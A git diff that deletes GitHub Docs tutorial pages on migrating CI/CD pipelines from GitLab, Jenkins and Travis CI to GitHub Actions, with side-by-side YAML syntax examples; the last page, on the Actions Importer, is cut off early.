-
-Below is an example of the syntax for each system.
-
-### GitLab CI/CD syntax for Docker images
-
-{% raw %}
-
-```yaml
-my_job:
- image: node:20-bookworm-slim
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for Docker images
-
-{% raw %}
-
-```yaml
-jobs:
- my_job:
- container: node:20-bookworm-slim
-```
-
-{% endraw %}
-
-For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontainer).
-
-## Condition and expression syntax
-
-GitLab CI/CD uses `rules` to determine if a job will run for a specific condition. {% data variables.product.prodname_actions %} uses the `if` keyword to prevent a job from running unless a condition is met.
-
-Below is an example of the syntax for each system.
-
-### GitLab CI/CD syntax for conditions and expressions
-
-{% raw %}
-
-```yaml
-deploy_prod:
- stage: deploy
- script:
- - echo "Deploy to production server"
- rules:
- - if: '$CI_COMMIT_BRANCH == "master"'
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for conditions and expressions
-
-{% raw %}
-
-```yaml
-jobs:
- deploy_prod:
- if: contains( github.ref, 'master')
- runs-on: ubuntu-latest
- steps:
- - run: echo "Deploy to production server"
-```
-
-{% endraw %}
-
-For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions).
-
-## Dependencies between Jobs
-
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies in {% data variables.product.prodname_actions %} can be specified explicitly with the `needs` key. GitLab CI/CD also has a concept of `stages`, where jobs in a stage run concurrently, but the next stage will start when all the jobs in the previous stage have completed. You can recreate this scenario in {% data variables.product.prodname_actions %} with the `needs` key.
-
-Below is an example of the syntax for each system. The workflows start with two jobs named `build_a` and `build_b` running in parallel, and when those jobs complete, another job called `test_ab` will run. Finally, when `test_ab` completes, the `deploy_ab` job will run.
-
-### GitLab CI/CD syntax for dependencies between jobs
-
-{% raw %}
-
-```yaml
-stages:
- - build
- - test
- - deploy
-
-build_a:
- stage: build
- script:
- - echo "This job will run first."
-
-build_b:
- stage: build
- script:
- - echo "This job will run first, in parallel with build_a."
-
-test_ab:
- stage: test
- script:
- - echo "This job will run after build_a and build_b have finished."
-
-deploy_ab:
- stage: deploy
- script:
- - echo "This job will run after test_ab is complete"
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for dependencies between jobs
-
-{% raw %}
-
-```yaml
-jobs:
- build_a:
- runs-on: ubuntu-latest
- steps:
- - run: echo "This job will be run first."
-
- build_b:
- runs-on: ubuntu-latest
- steps:
- - run: echo "This job will be run first, in parallel with build_a"
-
- test_ab:
- runs-on: ubuntu-latest
- needs: [build_a,build_b]
- steps:
- - run: echo "This job will run after build_a and build_b have finished"
-
- deploy_ab:
- runs-on: ubuntu-latest
- needs: [test_ab]
- steps:
- - run: echo "This job will run after test_ab is complete"
-```
-
-{% endraw %}
-
-For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds).
-
-## Scheduling workflows
-
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to run workflows at a specific interval. In GitLab CI/CD, pipeline schedules are configured with the UI, while in {% data variables.product.prodname_actions %} you can trigger a workflow on a scheduled interval with the "on" key.
-
-For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#scheduled-events).
-
-## Variables and secrets
-
-GitLab CI/CD and {% data variables.product.prodname_actions %} support setting variables in the pipeline or workflow configuration file, and creating secrets using the GitLab or {% data variables.product.github %} UI.
-
-For more information, see [AUTOTITLE](/actions/learn-github-actions/variables) and [AUTOTITLE](/actions/security-for-github-actions/security-guides/about-secrets).
-
-## Caching
-
-GitLab CI/CD and {% data variables.product.prodname_actions %} provide a method in the configuration file to manually cache workflow files.
-
-Below is an example of the syntax for each system.
-
-### GitLab CI/CD syntax for caching
-
-{% raw %}
-
-```yaml
-image: node:latest
-
-cache:
- key: $CI_COMMIT_REF_SLUG
- paths:
- - .npm/
-
-before_script:
- - npm ci --cache .npm --prefer-offline
-
-test_async:
- script:
- - node ./specs/start.js ./specs/async.spec.js
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for caching
-
-```yaml
-jobs:
- test_async:
- runs-on: ubuntu-latest
- steps:
- - name: Cache node modules
- uses: {% data reusables.actions.action-cache %}
- with:
- path: ~/.npm
- key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %}
- restore-keys: v1-npm-deps-
-```
-
-## Artifacts
-
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} can upload files and directories created by a job as artifacts. In {% data variables.product.prodname_actions %}, artifacts can be used to persist data across multiple jobs.
-
-Below is an example of the syntax for each system.
-
-### GitLab CI/CD syntax for artifacts
-
-{% raw %}
-
-```yaml
-script:
-artifacts:
- paths:
- - math-homework.txt
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for artifacts
-
-```yaml
-- name: Upload math result for job 1
- uses: {% data reusables.actions.action-upload-artifact %}
- with:
- name: homework
- path: math-homework.txt
-```
-
-For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts).
-
-## Databases and service containers
-
-Both systems enable you to include additional containers for databases, caching, or other dependencies.
-
-In GitLab CI/CD, a container for the job is specified with the `image` key, while {% data variables.product.prodname_actions %} uses the `container` key. In both systems, additional service containers are specified with the `services` key.
-
-Below is an example of the syntax for each system.
-
-### GitLab CI/CD syntax for databases and service containers
-
-{% raw %}
-
-```yaml
-container-job:
- variables:
- POSTGRES_PASSWORD: postgres
- # The hostname used to communicate with the
- # PostgreSQL service container
- POSTGRES_HOST: postgres
- # The default PostgreSQL port
- POSTGRES_PORT: 5432
- image: node:20-bookworm-slim
- services:
- - postgres
- script:
- # Performs a clean installation of all dependencies
- # in the `package.json` file
- - npm ci
- # Runs a script that creates a PostgreSQL client,
- # populates the client with data, and retrieves data
- - node client.js
- tags:
- - docker
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for databases and service containers
-
-```yaml
-jobs:
- container-job:
- runs-on: ubuntu-latest
- container: node:20-bookworm-slim
-
- services:
- postgres:
- image: postgres
- env:
- POSTGRES_PASSWORD: postgres
-
- steps:
- - name: Check out repository code
- uses: {% data reusables.actions.action-checkout %}
-
- # Performs a clean installation of all dependencies
- # in the `package.json` file
- - name: Install dependencies
- run: npm ci
-
- - name: Connect to PostgreSQL
- # Runs a script that creates a PostgreSQL client,
- # populates the client with data, and retrieves data
- run: node client.js
- env:
- # The hostname used to communicate with the
- # PostgreSQL service container
- POSTGRES_HOST: postgres
- # The default PostgreSQL port
- POSTGRES_PORT: 5432
-```
-
-For more information, see [AUTOTITLE](/actions/using-containerized-services/about-service-containers).
diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
deleted file mode 100644
index 50c5475fdf46..000000000000
--- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
+++ /dev/null
@@ -1,229 +0,0 @@
----
-title: Migrating from Jenkins to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Jenkins share multiple similarities, which makes migration to {% data variables.product.prodname_actions %} relatively straightforward.'
-redirect_from:
- - /actions/learn-github-actions/migrating-from-jenkins-to-github-actions
- - /actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions
- - /actions/migrating-to-github-actions/manual-migrations/migrating-from-jenkins-to-github-actions
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-topics:
- - Jenkins
- - Migration
- - CI
- - CD
-shortTitle: Migrate from Jenkins
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Introduction
-
-Jenkins and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Jenkins and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
-
-* Jenkins creates workflows using _Declarative Pipelines_, which are similar to {% data variables.product.prodname_actions %} workflow files.
-* Jenkins uses _stages_ to run a collection of steps, while {% data variables.product.prodname_actions %} uses jobs to group one or more steps or individual commands.
-* Jenkins and {% data variables.product.prodname_actions %} support container-based builds. For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-docker-container-action).
-* Steps or tasks can be reused and shared with the community.
-
-For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions).
-
-## Key differences
-
-* Jenkins has two types of syntax for creating pipelines: Declarative Pipeline and Scripted Pipeline. {% data variables.product.prodname_actions %} uses YAML to create workflows and configuration files. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions).
-* Jenkins deployments are typically self-hosted, with users maintaining the servers in their own data centers. {% data variables.product.prodname_actions %} offers a hybrid cloud approach by hosting its own runners that you can use to run jobs, while also supporting self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners).
-
-## Comparing capabilities
-
-### Distributing your builds
-
-Jenkins lets you send builds to a single build agent, or you can distribute them across multiple agents. You can also classify these agents according to various attributes, such as operating system types.
-
-Similarly, {% data variables.product.prodname_actions %} can send jobs to {% data variables.product.prodname_dotcom %}-hosted or self-hosted runners, and you can use labels to classify runners according to various attributes. For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions#runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners).
-
-### Using sections to organize pipelines
-
-Jenkins splits its Declarative Pipelines into multiple sections. Similarly, {% data variables.product.prodname_actions %} organizes its workflows into separate sections. The table below compares Jenkins sections with the {% data variables.product.prodname_actions %} workflow.
-
-| Jenkins Directives | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`agent`](https://jenkins.io/doc/book/pipeline/syntax/#agent) | [`jobs..runs-on`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idruns-on)
[`jobs..container`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontainer) |
-| [`post`](https://jenkins.io/doc/book/pipeline/syntax/#post) | None |
-| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages) | [`jobs`](/actions/using-workflows/workflow-syntax-for-github-actions#jobs) |
-| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps) | [`jobs..steps`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsteps) |
-
-## Using directives
-
-Jenkins uses directives to manage _Declarative Pipelines_. These directives define the characteristics of your workflow and how it will execute. The table below demonstrates how these directives map to concepts within {% data variables.product.prodname_actions %}.
-
-| Jenkins Directives | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`environment`](https://jenkins.io/doc/book/pipeline/syntax/#environment) | [`jobs..env`](/actions/using-workflows/workflow-syntax-for-github-actions#env)
[`jobs..steps[*].env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsenv) |
-| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters) | [`jobs..strategy`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategy)
[`jobs..strategy.fail-fast`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast)
[`jobs..timeout-minutes`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes) |
-| [`parameters`](https://jenkins.io/doc/book/pipeline/syntax/#parameters) | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs)
[`outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions) |
-| [`triggers`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`on`](/actions/using-workflows/workflow-syntax-for-github-actions#on)
[`on..types`](/actions/using-workflows/workflow-syntax-for-github-actions#onevent_nametypes)
[on..](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore)
[on..](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore)
[on..paths](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore) |
-| [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`jobs..needs`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds) |
-| [Jenkins cron syntax](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax) | [`on.schedule`](/actions/using-workflows/workflow-syntax-for-github-actions#onschedule) |
-| [`stage`](https://jenkins.io/doc/book/pipeline/syntax/#stage) | [`jobs.`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_id)
[`jobs..name`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idname) |
-| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools) | [Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software) |
-| [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input) | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) |
-| [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when) | [`jobs..if`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idif) |
-
-## Using sequential stages
-
-### Parallel job processing
-
-Jenkins can run the `stages` and `steps` in parallel, while {% data variables.product.prodname_actions %} currently only runs jobs in parallel.
-
-| Jenkins Parallel | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`parallel`](https://jenkins.io/doc/book/pipeline/syntax/#parallel) | [`jobs..strategy.max-parallel`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel) |
-
-### Matrix
-
-Both {% data variables.product.prodname_actions %} and Jenkins let you use a matrix to define various system combinations.
-
-| Jenkins | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`axis`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-axes) | [`strategy/matrix`](/actions/using-workflows/about-workflows#using-a-build-matrix)
[`context`](/actions/learn-github-actions/contexts) |
-| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) | [`steps-context`](/actions/learn-github-actions/contexts#steps-context) |
-| [`excludes`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) | None |
-
-### Using steps to execute tasks
-
-Jenkins groups `steps` together in `stages`. Each of these steps can be a script, function, or command, among others. Similarly, {% data variables.product.prodname_actions %} uses `jobs` to execute specific groups of `steps`.
-
-| Jenkins | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps) | [`jobs..steps`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsteps) |
-
-## Examples of common tasks
-
-### Scheduling a pipeline to run with `cron`
-
-#### Jenkins pipeline with `cron`
-
-```yaml
-pipeline {
- agent any
- triggers {
- cron('H/15 * * * 1-5')
- }
-}
-```
-
-#### {% data variables.product.prodname_actions %} workflow with `cron`
-
-```yaml
-on:
- schedule:
- - cron: '*/15 * * * 1-5'
-```
-
-### Configuring environment variables in a pipeline
-
-#### Jenkins pipeline with an environment variable
-
-```yaml
-pipeline {
- agent any
- environment {
- MAVEN_PATH = '/usr/local/maven'
- }
-}
-```
-
-#### {% data variables.product.prodname_actions %} workflow with an environment variable
-
-```yaml
-jobs:
- maven-build:
- env:
- MAVEN_PATH: '/usr/local/maven'
-```
-
-### Building from upstream projects
-
-#### Jenkins pipeline that builds from an upstream project
-
-```yaml
-pipeline {
- triggers {
- upstream(
- upstreamProjects: 'job1,job2',
- threshold: hudson.model.Result.SUCCESS
- )
- }
-}
-```
-
-#### {% data variables.product.prodname_actions %} workflow that builds from an upstream project
-
-```yaml
-jobs:
- job1:
- job2:
- needs: job1
- job3:
- needs: [job1, job2]
-```
-
-### Building with multiple operating systems
-
-#### Jenkins pipeline that builds with multiple operating systems
-
-```yaml
-pipeline {
- agent none
- stages {
- stage('Run Tests') {
- matrix {
- axes {
- axis {
- name: 'PLATFORM'
- values: 'macos', 'linux'
- }
- }
- agent { label "${PLATFORM}" }
- stages {
- stage('test') {
- tools { nodejs "node-20" }
- steps {
- dir("scripts/myapp") {
- sh(script: "npm install -g bats")
- sh(script: "bats tests")
- }
- }
- }
- }
- }
- }
- }
-}
-```
-
-#### {% data variables.product.prodname_actions %} workflow that builds with multiple operating systems
-
-```yaml
-name: demo-workflow
-on:
- push:
-jobs:
- test:
- runs-on: {% raw %}${{ matrix.os }}{% endraw %}
- strategy:
- fail-fast: false
- matrix:
- os: [macos-latest, ubuntu-latest]
- steps:
- - uses: {% data reusables.actions.action-checkout %}
- - uses: {% data reusables.actions.action-setup-node %}
- with:
- node-version: 20
- - run: npm install -g bats
- - run: bats tests
- working-directory: ./scripts/myapp
-```
diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
deleted file mode 100644
index b3090283983d..000000000000
--- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
+++ /dev/null
@@ -1,352 +0,0 @@
----
-title: Migrating from Travis CI to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Travis CI share multiple similarities, which helps make it relatively straightforward to migrate to {% data variables.product.prodname_actions %}.'
-redirect_from:
- - /actions/learn-github-actions/migrating-from-travis-ci-to-github-actions
- - /actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions
- - /actions/migrating-to-github-actions/manual-migrations/migrating-from-travis-ci-to-github-actions
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-topics:
- - Travis CI
- - Migration
- - CI
- - CD
-shortTitle: Migrate from Travis CI
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Introduction
-
-This guide helps you migrate from Travis CI to {% data variables.product.prodname_actions %}. It compares their concepts and syntax, describes the similarities, and demonstrates their different approaches to common tasks.
-
-## Before you start
-
-Before starting your migration to {% data variables.product.prodname_actions %}, it would be useful to become familiar with how it works:
-
-* For a quick example that demonstrates a {% data variables.product.prodname_actions %} job, see [AUTOTITLE](/actions/quickstart).
-* To learn the essential {% data variables.product.prodname_actions %} concepts, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions).
-
-## Comparing job execution
-
-To give you control over when CI tasks are executed, a {% data variables.product.prodname_actions %} _workflow_ uses _jobs_ that run in parallel by default. Each job contains _steps_ that are executed in a sequence that you define. If you need to run setup and cleanup actions for a job, you can define steps in each job to perform these.
-
-## Key similarities
-
-{% data variables.product.prodname_actions %} and Travis CI share certain similarities, and understanding these ahead of time can help smooth the migration process.
-
-### Using YAML syntax
-
-Travis CI and {% data variables.product.prodname_actions %} both use YAML to create jobs and workflows, and these files are stored in the code's repository. For more information on how {% data variables.product.prodname_actions %} uses YAML, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions#create-an-example-workflow).
-
-### Custom variables
-
-Travis CI lets you set variables and share them between stages. Similarly, {% data variables.product.prodname_actions %} lets you define variables for a workflow. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables).
-
-### Default variables
-
-Travis CI and {% data variables.product.prodname_actions %} both include default environment variables that you can use in your YAML files. For {% data variables.product.prodname_actions %}, you can see these listed in [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables).
-
-### Parallel job processing
-
-Travis CI can use `stages` to run jobs in parallel. Similarly, {% data variables.product.prodname_actions %} runs `jobs` in parallel. For more information, see [AUTOTITLE](/actions/using-workflows/about-workflows#creating-dependent-jobs).
-
-### Status badges
-
-Travis CI and {% data variables.product.prodname_actions %} both support status badges, which let you indicate whether a build is passing or failing.
-For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge).
-
-### Using a matrix
-
-Travis CI and {% data variables.product.prodname_actions %} both support a matrix, allowing you to perform testing using combinations of operating systems and software packages. For more information, see [AUTOTITLE](/actions/using-jobs/using-a-matrix-for-your-jobs).
-
-Below is an example comparing the syntax for each system.
-
-#### Travis CI syntax for a matrix
-
-{% raw %}
-
-```yaml
-matrix:
- include:
- - rvm: '2.5'
- - rvm: '2.6.3'
-```
-
-{% endraw %}
-
-#### {% data variables.product.prodname_actions %} syntax for a matrix
-
-{% raw %}
-
-```yaml
-jobs:
- build:
- strategy:
- matrix:
- ruby: ['2.5', '2.6.3']
-```
-
-{% endraw %}
-
-### Targeting specific branches
-
-Travis CI and {% data variables.product.prodname_actions %} both allow you to target your CI to a specific branch. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore).
-
-Below is an example of the syntax for each system.
-
-#### Travis CI syntax for targeting specific branches
-
-{% raw %}
-
-```yaml
-branches:
- only:
- - main
- - 'mona/octocat'
-```
-
-{% endraw %}
-
-#### {% data variables.product.prodname_actions %} syntax for targeting specific branches
-
-{% raw %}
-
-```yaml
-on:
- push:
- branches:
- - main
- - 'mona/octocat'
-```
-
-{% endraw %}
-
-### Checking out submodules
-
-Travis CI and {% data variables.product.prodname_actions %} both allow you to control whether submodules are included in the repository clone.
-
-Below is an example of the syntax for each system.
-
-#### Travis CI syntax for checking out submodules
-
-{% raw %}
-
-```yaml
-git:
- submodules: false
-```
-
-{% endraw %}
-
-#### {% data variables.product.prodname_actions %} syntax for checking out submodules
-
-```yaml
-- uses: {% data reusables.actions.action-checkout %}
- with:
- submodules: false
-```
-
-### Using environment variables in a matrix
-
-Travis CI and {% data variables.product.prodname_actions %} can both add custom variables to a test matrix, which allows you to refer to the variable in a later step.
-
-In {% data variables.product.prodname_actions %}, you can use the `include` key to add custom environment variables to a matrix. {% data reusables.actions.matrix-variable-example %}
-
-## Key features in {% data variables.product.prodname_actions %}
-
-When migrating from Travis CI, consider the following key features in {% data variables.product.prodname_actions %}:
-
-### Storing secrets
-
-{% data variables.product.prodname_actions %} allows you to store secrets and reference them in your jobs. {% data variables.product.prodname_actions %} organizations can limit which repositories can access organization secrets. Deployment protection rules can require manual approval for a workflow to access environment secrets. For more information, see [AUTOTITLE](/actions/security-for-github-actions/security-guides/about-secrets).
-
-### Sharing files between jobs and workflows
-
-{% data variables.product.prodname_actions %} includes integrated support for artifact storage, allowing you to share files between jobs in a workflow. You can also save the resulting files and share them with other workflows. For more information, see [AUTOTITLE](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs).
-
-### Hosting your own runners
-
-If your jobs require specific hardware or software, {% data variables.product.prodname_actions %} allows you to host your own runners and send your jobs to them for processing. {% data variables.product.prodname_actions %} also lets you use policies to control how these runners are accessed, granting access at the organization or repository level. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners).
-
-{% ifversion fpt or ghec %}
-
-### Concurrent jobs and execution time
-
-The concurrent jobs and workflow execution times in {% data variables.product.prodname_actions %} can vary depending on your {% data variables.product.company_short %} plan. For more information, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration).
-
-{% endif %}
-
-### Using different languages in {% data variables.product.prodname_actions %}
-
-When working with different languages in {% data variables.product.prodname_actions %}, you can create a step in your job to set up your language dependencies. For more information about working with a particular language, see [AUTOTITLE](/actions/use-cases-and-examples/building-and-testing).
-
-## Executing scripts
-
-{% data variables.product.prodname_actions %} can use `run` steps to run scripts or shell commands. To use a particular shell, you can specify the `shell` type when providing the path to the script. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun).
-
-For example:
-
-```yaml
-steps:
- - name: Run build script
- run: ./.github/scripts/build.sh
- shell: bash
-```
-
-## Error handling in {% data variables.product.prodname_actions %}
-
-When migrating to {% data variables.product.prodname_actions %}, there are different approaches to error handling that you might need to be aware of.
-
-### Script error handling
-
-{% data variables.product.prodname_actions %} stops a job immediately if one of the steps returns an error code. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference).
-
-### Job error handling
-
-{% data variables.product.prodname_actions %} uses `if` conditionals to execute jobs or steps in certain situations. For example, you can run a step when another step results in a `failure()`. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#example-using-status-check-functions). You can also use [`continue-on-error`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) to prevent a workflow run from stopping when a job fails.
-
-## Migrating syntax for conditionals and expressions
-
-To run jobs under conditional expressions, Travis CI and {% data variables.product.prodname_actions %} share a similar `if` condition syntax. {% data variables.product.prodname_actions %} lets you use the `if` conditional to prevent a job or step from running unless a condition is met. For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions).
-
-This example demonstrates how an `if` conditional can control whether a step is executed:
-
-```yaml
-jobs:
- conditional:
- runs-on: ubuntu-latest
- steps:
- - run: echo "This step runs with str equals 'ABC' and num equals 123"
- if: env.str == 'ABC' && env.num == 123
-```
-
-## Migrating phases to steps
-
-Where Travis CI uses _phases_ to run _steps_, {% data variables.product.prodname_actions %} has _steps_ which execute _actions_. You can find prebuilt actions in the [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see [AUTOTITLE](/actions/creating-actions).
-
-Below is an example of the syntax for each system.
-
-### Travis CI syntax for phases and steps
-
-{% raw %}
-
-```yaml
-language: python
-python:
- - "3.7"
-
-script:
- - python script.py
-```
-
-{% endraw %}
-
-### {% data variables.product.prodname_actions %} syntax for steps and actions
-
-```yaml
-jobs:
- run_python:
- runs-on: ubuntu-latest
- steps:
- - uses: {% data reusables.actions.action-setup-python %}
- with:
- python-version: '3.7'
- architecture: 'x64'
- - run: python script.py
-```
-
-## Caching dependencies
-
-Travis CI and {% data variables.product.prodname_actions %} let you manually cache dependencies for later reuse.
-
-These examples demonstrate the cache syntax for each system.
-
-### Travis CI syntax for caching
-
-{% raw %}
-
-```yaml
-language: node_js
-cache: npm
-```
-
-{% endraw %}
-
-### GitHub Actions syntax for caching
-
-```yaml
-- name: Cache node modules
- uses: {% data reusables.actions.action-cache %}
- with:
- path: ~/.npm
- key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %}
- restore-keys: v1-npm-deps-
-```
-
-## Examples of common tasks
-
-This section compares how {% data variables.product.prodname_actions %} and Travis CI perform common tasks.
-
-### Configuring environment variables
-
-You can create custom environment variables in a {% data variables.product.prodname_actions %} job.
-
-#### Travis CI syntax for an environment variable
-
-```yaml
-env:
- - MAVEN_PATH="/usr/local/maven"
-```
-
-#### {% data variables.product.prodname_actions %} workflow with an environment variable
-
-```yaml
-jobs:
- maven-build:
- env:
- MAVEN_PATH: '/usr/local/maven'
-```
-
-### Building with Node.js
-
-#### Travis CI for building with Node.js
-
-{% raw %}
-
-```yaml
-install:
- - npm install
-script:
- - npm run build
- - npm test
-```
-
-{% endraw %}
-
-#### {% data variables.product.prodname_actions %} workflow for building with Node.js
-
-```yaml
-name: Node.js CI
-on: [push]
-jobs:
- build:
- runs-on: ubuntu-latest
- steps:
- - uses: {% data reusables.actions.action-checkout %}
- - name: Use Node.js
- uses: {% data reusables.actions.action-setup-node %}
- with:
- node-version: '16.x'
- - run: npm install
- - run: npm run build
- - run: npm test
-```
-
-## Next steps
-
-To continue learning about the main features of {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/learn-github-actions).
diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/automating-migration-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/automating-migration-with-github-actions-importer.md
deleted file mode 100644
index 6d3b868ea9d5..000000000000
--- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/automating-migration-with-github-actions-importer.md
+++ /dev/null
@@ -1,176 +0,0 @@
----
-title: Automating migration with GitHub Actions Importer
-intro: 'Use {% data variables.product.prodname_actions_importer %} to plan and automate your migration to {% data variables.product.prodname_actions %}.'
-redirect_from:
- - /actions/migrating-to-github-actions/automating-migration-with-github-actions-importer
- - /actions/migrating-to-github-actions/automated-migrations/automating-migration-with-github-actions-importer
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: how_to
-topics:
- - Migration
- - CI
- - CD
-shortTitle: 'Automate migration with {% data variables.product.prodname_actions_importer %}'
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-[Legal notice](#legal-notice)
-
-## About {% data variables.product.prodname_actions_importer %}
-
-You can use {% data variables.product.prodname_actions_importer %} to plan and automatically migrate your CI/CD supported pipelines to {% data variables.product.prodname_actions %}.
-
-{% data variables.product.prodname_actions_importer %} is distributed as a Docker container, and uses a [{% data variables.product.prodname_dotcom %} CLI](https://cli.github.com) extension to interact with the container.
-
-Any workflow that is converted by the {% data variables.product.prodname_actions_importer %} should be inspected for correctness before using it as a production workload. The goal is to achieve an 80% conversion rate for every workflow, however, the actual conversion rate will depend on the makeup of each individual pipeline that is converted.
-
-## Supported CI platforms
-
-You can use {% data variables.product.prodname_actions_importer %} to migrate from the following platforms:
-
-* Azure DevOps
-* Bamboo
-* Bitbucket Pipelines
-* CircleCI
-* GitLab (both cloud and self-hosted)
-* Jenkins
-* Travis CI
-
-## Prerequisites
-
-{% data variables.product.prodname_actions_importer %} has the following requirements:
-
-{% data reusables.actions.actions-importer-prerequisites %}
-
-### Installing the {% data variables.product.prodname_actions_importer %} CLI extension
-
-{% data reusables.actions.installing-actions-importer %}
-
-### Updating the {% data variables.product.prodname_actions_importer %} CLI
-
